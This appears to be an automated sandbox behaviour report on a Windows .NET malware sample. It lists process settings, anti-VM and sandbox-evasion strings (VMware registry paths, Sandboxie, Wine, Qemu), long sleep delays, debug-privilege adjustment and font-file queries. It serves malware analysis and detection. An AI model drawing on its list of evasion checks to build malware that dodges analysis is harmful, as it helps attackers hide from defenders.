Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000000.00000002.363844302.0000000003341000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Window / User API: threadDelayed 2200

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe TID: 7164	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe TID: 3512	Thread sleep count: 2200 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe TID: 3512	Thread sleep count: 82 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe TID: 7112	Thread sleep time: -41500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe TID: 724	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe TID: 1744	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe TID: 1744	Thread sleep time: -3900000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Code function: 1_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

1_2_00403D74

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: l%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Binary or memory string: Qemu)
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Binary or memory string: l"SOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Code function: 1_2_0040317B mov eax, dword ptr fs:[00000030h]

1_2_0040317B

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Code function: 1_2_00402B7C GetProcessHeap,RtlAllocateHeap,

1_2_00402B7C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Process created: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe {path}

Jump to behavior

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000001.00000002.608249418.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000001.00000002.608249418.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000001.00000002.608249418.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000001.00000002.608249418.00000000015C0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
